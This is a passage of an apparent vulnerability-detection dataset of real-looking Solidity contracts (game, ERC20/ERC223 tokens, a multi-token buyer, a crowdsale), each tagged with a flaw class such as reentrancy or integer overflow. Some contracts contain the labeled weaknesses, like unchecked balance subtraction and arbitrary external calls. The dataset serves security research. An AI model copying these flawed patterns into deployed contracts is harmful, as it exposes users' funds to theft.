J3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit J3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, janPot_ ); } bool public activated_ = false; function activate() public { require( msg.sender == 0x189a9E570DAFbCEB2417f177be8448B6aa3126f7 || msg.sender == 0x3fbF05B1035ACBe87E4931ad143FeeC3BeCaD348 , ""only team just can activate"" ); require(activated_ == false, ""jkp already activated""); activated_ = true; rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } function setGasPriceLimit(uint256 priceLimit) public { require( msg.sender == 0x189a9E570DAFbCEB2417f177be8448B6aa3126f7 || msg.sender == 0x3fbF05B1035ACBe87E4931ad143FeeC3BeCaD348 , ""only team just can activate"" ); gasPriceLimit_ = priceLimit; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, ""SafeMath mul failed""); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""SafeMath sub failed""); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, ""SafeMath add failed""); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } } library UintCompressor { using SafeMath for *; function insert(uint256 _var, uint256 _include, uint256 _start, uint256 _end) internal pure returns(uint256) { require(_end < 77 && _start < 77, ""start/end must be less than 77""); require(_end >= _start, ""end must be >= start""); _end = exponent(_end).mul(10); _start = exponent(_start); require(_include < (_end / _start)); if (_include > 0) _include = _include.mul(_start); return((_var.sub((_var / _start).mul(_start))).add(_include).add((_var / _end).mul(_end))); } function extract(uint256 _input, uint256 _start, uint256 _end) internal pure returns(uint256) { require(_end < 77 && _start < 77, ""start/end must be less than 77""); require(_end >= _start, ""end must be >= start""); _end = exponent(_end).mul(10); _start = exponent(_start); return((((_input / _start).mul(_start)).sub((_input / _end).mul(_end))) / _start); } function exponent(uint256 _position) private pure returns(uint256) { return((10).pwr(_position)); } } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, ""string must be between 1 and 32 characters""); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, ""string cannot start or end with space""); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, ""string cannot start with 0x""); require(_temp[1] != 0x58, ""string cannot start with 0X""); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), ""string contains invalid characters"" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, ""string cannot contain consecutive spaces""); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, ""string cannot be only numbers""); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library J3DKeysCalcLong { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } library J3Ddatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 P3DAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 pot; uint256 aff; uint256 jan; uint256 com; } struct PotSplit { uint256 gen; uint256 win; uint256 next; uint256 com; } }",./Dataset/block number dependency (BN),0,0 375.sol,"pragma solidity ^0.4.18; /* // -- // -- // -- // ___ ___ ___ ___ ___ // /\ \ /\__\ /\ \ /\__\ /\ \ // /::\ \ /:/ _/_ /::\ \ /::L_L_ \:\ \ // /\:\:\__\ /:/_/\__\ /::\:\__\ /:/L:\__\ /::\__\ // \:\:\/__/ \:\/:/ / \/\::/ / \/_/:/ / /:/\/__/ // \::/ / \::/ / \/__/ /:/ / \/__/ // \/__/ \/__/ \/__/ // -- // -- // -- */ // Contract must have an owner contract Owned { address public owner; constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function setOwner(address _owner) onlyOwner public { owner = _owner; } } // SafeMath methods contract SafeMath { function add(uint256 _a, uint256 _b) internal pure returns (uint256) { uint256 c = _a + _b; assert(c >= _a); return c; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_a >= _b); return _a - _b; } function mul(uint256 _a, uint256 _b) internal pure returns (uint256) { uint256 c = _a * _b; assert(_a == 0 || c / _a == _b); return c; } } // for safety methods interface ERC20Token { function transfer(address _to, uint256 _value) external returns (bool); function balanceOf(address _addr) external view returns (uint256); function decimals() external view returns (uint8); } // the main ERC20-compliant contract contract Token is SafeMath, Owned { uint256 constant DAY_IN_SECONDS = 86400; string public constant standard = ""0.66""; string public name = """"; string public symbol = """"; uint8 public decimals = 0; uint256 public totalSupply = 0; mapping (address => uint256) public balanceP; mapping (address => mapping (address => uint256)) public allowance; mapping (address => uint256[]) public lockTime; mapping (address => uint256[]) public lockValue; mapping (address => uint256) public lockNum; mapping (address => bool) public locker; uint256 public later = 0; uint256 public earlier = 0; // standard ERC20 events event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); // timelock-related events event TransferLocked(address indexed _from, address indexed _to, uint256 _time, uint256 _value); event TokenUnlocked(address indexed _address, uint256 _value); // safety method-related events event WrongTokenEmptied(address indexed _token, address indexed _addr, uint256 _amount); event WrongEtherEmptied(address indexed _addr, uint256 _amount); // constructor for the ERC20 Token constructor(string _name, string _symbol, uint8 _decimals, uint256 _totalSupply) public { require(bytes(_name).length > 0 && bytes(_symbol).length > 0); name = _name; symbol = _symbol; decimals = _decimals; totalSupply = _totalSupply; balanceP[msg.sender] = _totalSupply; } modifier validAddress(address _address) { require(_address != 0x0); _; } // owner may add or remove a locker address for the contract function addLocker(address _address) public validAddress(_address) onlyOwner { locker[_address] = true; } function removeLocker(address _address) public validAddress(_address) onlyOwner { locker[_address] = false; } // fast-forward the timelocks for all accounts function setUnlockEarlier(uint256 _earlier) public onlyOwner { earlier = add(earlier, _earlier); } // delay the timelocks for all accounts function setUnlockLater(uint256 _later) public onlyOwner { later = add(later, _later); } // show unlocked balance of an account function balanceUnlocked(address _address) public view returns (uint256 _balance) { _balance = balanceP[_address]; uint256 i = 0; while (i < lockNum[_address]) { if (add(now, earlier) > add(lockTime[_address][i], later)) _balance = add(_balance, lockValue[_address][i]); i++; } return _balance; } // show timelocked balance of an account function balanceLocked(address _address) public view returns (uint256 _balance) { _balance = 0; uint256 i = 0; while (i < lockNum[_address]) { if (add(now, earlier) < add(lockTime[_address][i], later)) _balance = add(_balance, lockValue[_address][i]); i++; } return _balance; } // standard ERC20 balanceOf with timelock added function balanceOf(address _address) public view returns (uint256 _balance) { _balance = balanceP[_address]; uint256 i = 0; while (i < lockNum[_address]) { _balance = add(_balance, lockValue[_address][i]); i++; } return _balance; } // show timelocks in an account function showTime(address _address) public view validAddress(_address) returns (uint256[] _time) { uint i = 0; uint256[] memory tempLockTime = new uint256[](lockNum[_address]); while (i < lockNum[_address]) { tempLockTime[i] = sub(add(lockTime[_address][i], later), earlier); i++; } return tempLockTime; } // show values locked in an account's timelocks function showValue(address _address) public view validAddress(_address) returns (uint256[] _value) { return lockValue[_address]; } // Calculate and process the timelock states of an account function calcUnlock(address _address) private { uint256 i = 0; uint256 j = 0; uint256[] memory currentLockTime; uint256[] memory currentLockValue; uint256[] memory newLockTime = new uint256[](lockNum[_address]); uint256[] memory newLockValue = new uint256[](lockNum[_address]); currentLockTime = lockTime[_address]; currentLockValue = lockValue[_address]; while (i < lockNum[_address]) { if (add(now, earlier) > add(currentLockTime[i], later)) { balanceP[_address] = add(balanceP[_address], currentLockValue[i]); emit TokenUnlocked(_address, currentLockValue[i]); } else { newLockTime[j] = currentLockTime[i]; newLockValue[j] = currentLockValue[i]; j++; } i++; } uint256[] memory trimLockTime = new uint256[](j); uint256[] memory trimLockValue = new uint256[](j); i = 0; while (i < j) { trimLockTime[i] = newLockTime[i]; trimLockValue[i] = newLockValue[i]; i++; } lockTime[_address] = trimLockTime; lockValue[_address] = trimLockValue; lockNum[_address] = j; } // standard ERC20 transfer function transfer(address _to, uint256 _value) public validAddress(_to) returns (bool success) { if (lockNum[msg.sender] > 0) calcUnlock(msg.sender); if (balanceP[msg.sender] >= _value && _value > 0) { balanceP[msg.sender] = sub(balanceP[msg.sender], _value); balanceP[_to] = add(balanceP[_to], _value); emit Transfer(msg.sender, _to, _value); return true; } else { return false; } } // transfer Token with timelocks function transferLocked(address _to, uint256[] _time, uint256[] _value) public validAddress(_to) returns (bool success) { require(_value.length == _time.length); if (lockNum[msg.sender] > 0) calcUnlock(msg.sender); uint256 i = 0; uint256 totalValue = 0; while (i < _value.length) { totalValue = add(totalValue, _value[i]); i++; } if (balanceP[msg.sender] >= totalValue && totalValue > 0) { i = 0; while (i < _time.length) { balanceP[msg.sender] = sub(balanceP[msg.sender], _value[i]); lockTime[_to].length = lockNum[_to]+1; lockValue[_to].length = lockNum[_to]+1; lockTime[_to][lockNum[_to]] = add(now, _time[i]); lockValue[_to][lockNum[_to]] = _value[i]; // emit custom TransferLocked event emit TransferLocked(msg.sender, _to, lockTime[_to][lockNum[_to]], lockValue[_to][lockNum[_to]]); // emit standard Transfer event for wallets emit Transfer(msg.sender, _to, lockValue[_to][lockNum[_to]]); lockNum[_to]++; i++; } return true; } else { return false; } } // lockers set by owners may transfer Token with timelocks function transferLockedFrom(address _from, address _to, uint256[] _time, uint256[] _value) public validAddress(_from) validAddress(_to) returns (bool success) { require(locker[msg.sender]); require(_value.length == _time.length); if (lockNum[_from] > 0) calcUnlock(_from); uint256 i = 0; uint256 totalValue = 0; while (i < _value.length) { totalValue = add(totalValue, _value[i]); i++; } if (balanceP[_from] >= totalValue && totalValue > 0 && allowance[_from][msg.sender] >= totalValue) { i = 0; while (i < _time.length) { balanceP[_from] = sub(balanceP[_from], _value[i]); allowance[_from][msg.sender] = sub(allowance[_from][msg.sender], _value[i]); lockTime[_to].length = lockNum[_to]+1; lockValue[_to].length = lockNum[_to]+1; lockTime[_to][lockNum[_to]] = add(now, _time[i]); lockValue[_to][lockNum[_to]] = _value[i]; // emit custom TransferLocked event emit TransferLocked(_from, _to, lockTime[_to][lockNum[_to]], lockValue[_to][lockNum[_to]]); // emit standard Transfer event for wallets emit Transfer(_from, _to, lockValue[_to][lockNum[_to]]); lockNum[_to]++; i++; } return true; } else { return false; } } // standard ERC20 transferFrom function transferFrom(address _from, address _to, uint256 _value) public validAddress(_from) validAddress(_to) returns (bool success) { if (lockNum[_from] > 0) calcUnlock(_from); if (balanceP[_from] >= _value && _value > 0 && allowance[_from][msg.sender] >= _value) { allowance[_from][msg.sender] = sub(allowance[_from][msg.sender], _value); balanceP[_from] = sub(balanceP[_from], _value); balanceP[_to] = add(balanceP[_to], _value); emit Transfer(_from, _to, _value); return true; } else { return false; } } // should only be called when first setting an allowance function approve(address _spender, uint256 _value) public validAddress(_spender) returns (bool success) { require(allowance[msg.sender][_spender] == 0); if (lockNum[msg.sender] > 0) calcUnlock(msg.sender); allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } // increase or decrease allowance function increaseApproval(address _spender, uint _value) public returns (bool) { allowance[msg.sender][_spender] = add(allowance[msg.sender][_spender], _value); emit Approval(msg.sender, _spender, allowance[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _value) public returns (bool) { if(_value > allowance[msg.sender][_spender]) { allowance[msg.sender][_spender] = 0; } else { allowance[msg.sender][_spender] = sub(allowance[msg.sender][_spender], _value); } emit Approval(msg.sender, _spender, allowance[msg.sender][_spender]); return true; } // safety methods function () public payable { revert(); } function emptyWrongToken(address _addr) onlyOwner public { ERC20Token wrongToken = ERC20Token(_addr); uint256 amount = wrongToken.balanceOf(address(this)); require(amount > 0); require(wrongToken.transfer(msg.sender, amount)); emit WrongTokenEmptied(_addr, msg.sender, amount); } // shouldn't happen, just in case function emptyWrongEther() onlyOwner public { uint256 amount = address(this).balance; require(amount > 0); msg.sender.transfer(amount); emit WrongEtherEmptied(msg.sender, amount); } }",./Dataset/ether strict equality (SE),3,3 1515.sol,"interface ERC20 { function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface ERC223 { function transfer(address to, uint value, bytes data) public; event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); } contract ERC223ReceivingContract { function tokenFallback(address _from, uint _value, bytes _data) public; } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract StandardToken is ERC20, ERC223 { using SafeMath for uint; string internal _name; string internal _symbol; uint8 internal _decimals; uint256 internal _totalSupply; mapping (address => uint256) internal balances; mapping (address => mapping (address => uint256)) internal allowed; function StandardToken(string name, string symbol, uint8 decimals, uint256 totalSupply) public { _symbol = symbol; _name = name; _decimals = decimals; _totalSupply = totalSupply; balances[msg.sender] = totalSupply; } function name() public view returns (string) { return _name; } function symbol() public view returns (string) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view returns (uint256) { return _totalSupply; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value); balances[_to] = SafeMath.add(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = SafeMath.sub(balances[_from], _value); balances[_to] = SafeMath.add(balances[_to], _value); allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = SafeMath.add(allowed[msg.sender][_spender], _addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = SafeMath.sub(oldValue, _subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function transfer(address _to, uint _value, bytes _data) public { require(_value > 0 ); if(isContract(_to)) { ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, _data); } balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value, _data); } function isContract(address _addr) private returns (bool is_contract) { uint length; assembly { length := extcodesize(_addr) } return (length>0); } }",./Dataset/integer overflow (OF)/,4,4 180.sol,"pragma solidity ^0.4.24; // File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: contracts/interface/IBasicMultiToken.sol contract IBasicMultiToken is ERC20 { event Bundle(address indexed who, address indexed beneficiary, uint256 value); event Unbundle(address indexed who, address indexed beneficiary, uint256 value); function tokensCount() public view returns(uint256); function tokens(uint256 _index) public view returns(ERC20); function allTokens() public view returns(ERC20[]); function allDecimals() public view returns(uint8[]); function allBalances() public view returns(uint256[]); function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; function bundle(address _beneficiary, uint256 _amount) public; function unbundle(address _beneficiary, uint256 _value) public; function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; } // File: contracts/interface/IMultiToken.sol contract IMultiToken is IBasicMultiToken { event Update(); event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); function allWeights() public view returns(uint256[] _weights); function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); } // File: openzeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } // File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { require(token.transfer(to, value)); } function safeTransferFrom( ERC20 token, address from, address to, uint256 value ) internal { require(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { require(token.approve(spender, value)); } } // File: openzeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol /** * @title Contracts that should be able to recover tokens * @author SylTi * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. * This will prevent any accidental loss of tokens. */ contract CanReclaimToken is Ownable { using SafeERC20 for ERC20Basic; /** * @dev Reclaim all ERC20Basic compatible tokens * @param token ERC20Basic The address of the token contract */ function reclaimToken(ERC20Basic token) external onlyOwner { uint256 balance = token.balanceOf(this); token.safeTransfer(owner, balance); } } // File: contracts/registry/MultiBuyer.sol contract MultiBuyer is CanReclaimToken { using SafeMath for uint256; function buy( IMultiToken _mtkn, uint256 _minimumReturn, ERC20 _throughToken, address[] _exchanges, bytes _datas, uint[] _datasIndexes, // including 0 and LENGTH values uint256[] _values ) public payable { require(_datasIndexes.length == _exchanges.length + 1, ""buy: _datasIndexes should start with 0 and end with LENGTH""); require(_values.length == _exchanges.length, ""buy: _values should have the same length as _exchanges""); for (uint i = 0; i < _exchanges.length; i++) { bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { data[j - _datasIndexes[i]] = _datas[j]; } if (_throughToken != address(0) && i > 0) { _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); } require(_exchanges[i].call.value(_values[i])(data), ""buy: exchange arbitrary call failed""); if (_throughToken != address(0)) { _throughToken.approve(_exchanges[i], 0); } } j = _mtkn.totalSupply(); // optimization totalSupply uint256 bestAmount = uint256(-1); for (i = _mtkn.tokensCount(); i > 0; i--) { ERC20 token = _mtkn.tokens(i - 1); token.approve(_mtkn, token.balanceOf(this)); uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); if (amount < bestAmount) { bestAmount = amount; } } require(bestAmount >= _minimumReturn, ""buy: return value is too low""); _mtkn.bundle(msg.sender, bestAmount); if (address(this).balance > 0) { msg.sender.transfer(address(this).balance); } } }",./Dataset/reentrancy (RE)/,5,5 6798.sol,"pragma solidity ^0.4.13; contract FinalizeAgent { function isFinalizeAgent() public constant returns(bool) { return true; } function isSane() public constant returns (bool); function finalizeCrowdsale(); } contract PricingStrategy { function isPricingStrategy() public constant returns (bool) { return true; } function isSane(address crowdsale) public constant returns (bool) { return true; } function isPresalePurchase(address purchaser) public constant returns (bool) { return false; } function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount); } library SafeMathLib { function times(uint a, uint b) returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function minus(uint a, uint b) returns (uint) { assert(b <= a); return a - b; } function plus(uint a, uint b) returns (uint) { uint c = a + b; assert(c>=a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Recoverable is Ownable { function Recoverable() { } function recoverTokens(ERC20Basic token) onlyOwner public { token.transfer(owner, tokensToBeReturned(token)); } function tokensToBeReturned(ERC20Basic token) public returns (uint) { return token.balanceOf(this); } } contract Haltable is Ownable { bool public halted; modifier stopInEmergency { if (halted) throw; _; } modifier stopNonOwnersInEmergency { if (halted && msg.sender != owner) throw; _; } modifier onlyInEmergency { if (!halted) throw; _; } function halt() external onlyOwner { halted = true; } function unhalt() external onlyOwner onlyInEmergency { halted = false; } } contract Whitelist is Ownable { mapping(address => bool) public whitelist; event WhitelistedAddressAdded(address addr); event WhitelistedAddressRemoved(address addr); modifier onlyWhitelisted() { require(whitelist[msg.sender]); _; } function addAddressToWhitelist(address addr) onlyOwner public returns(bool success) { if (!whitelist[addr]) { whitelist[addr] = true; WhitelistedAddressAdded(addr); success = true; } } function addAddressesToWhitelist(address[] addrs) onlyOwner public returns(bool success) { for (uint256 i = 0; i < addrs.length; i++) { if (addAddressToWhitelist(addrs[i])) { success = true; } } } function removeAddressFromWhitelist(address addr) onlyOwner public returns(bool success) { if (whitelist[addr]) { whitelist[addr] = false; WhitelistedAddressRemoved(addr); success = true; } } function removeAddressesFromWhitelist(address[] addrs) onlyOwner public returns(bool success) { for (uint256 i = 0; i < addrs.length; i++) { if (removeAddressFromWhitelist(addrs[i])) { success = true; } } } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract FractionalERC20 is ERC20 { uint public decimals; } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract CrowdsaleBase is Haltable, Whitelist { uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5; using SafeMathLib for uint; FractionalERC20 public token; PricingStrategy public pricingStrategy; FinalizeAgent public finalizeAgent; address public multisigWallet; uint public minimumFundingGoal; uint public startsAt; uint public endsAt; uint public tokensSold = 0; uint public weiRaised = 0; uint public presaleWeiRaised = 0; uint public investorCount = 0; uint public loadedRefund = 0; uint public weiRefunded = 0; bool public finalized; mapping (address => uint256) public investedAmountOf; mapping (address => uint256) public tokenAmountOf; mapping (address => bool) public earlyParticipantWhitelist; uint public ownerTestValue; enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding} event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId); event Refund(address investor, uint 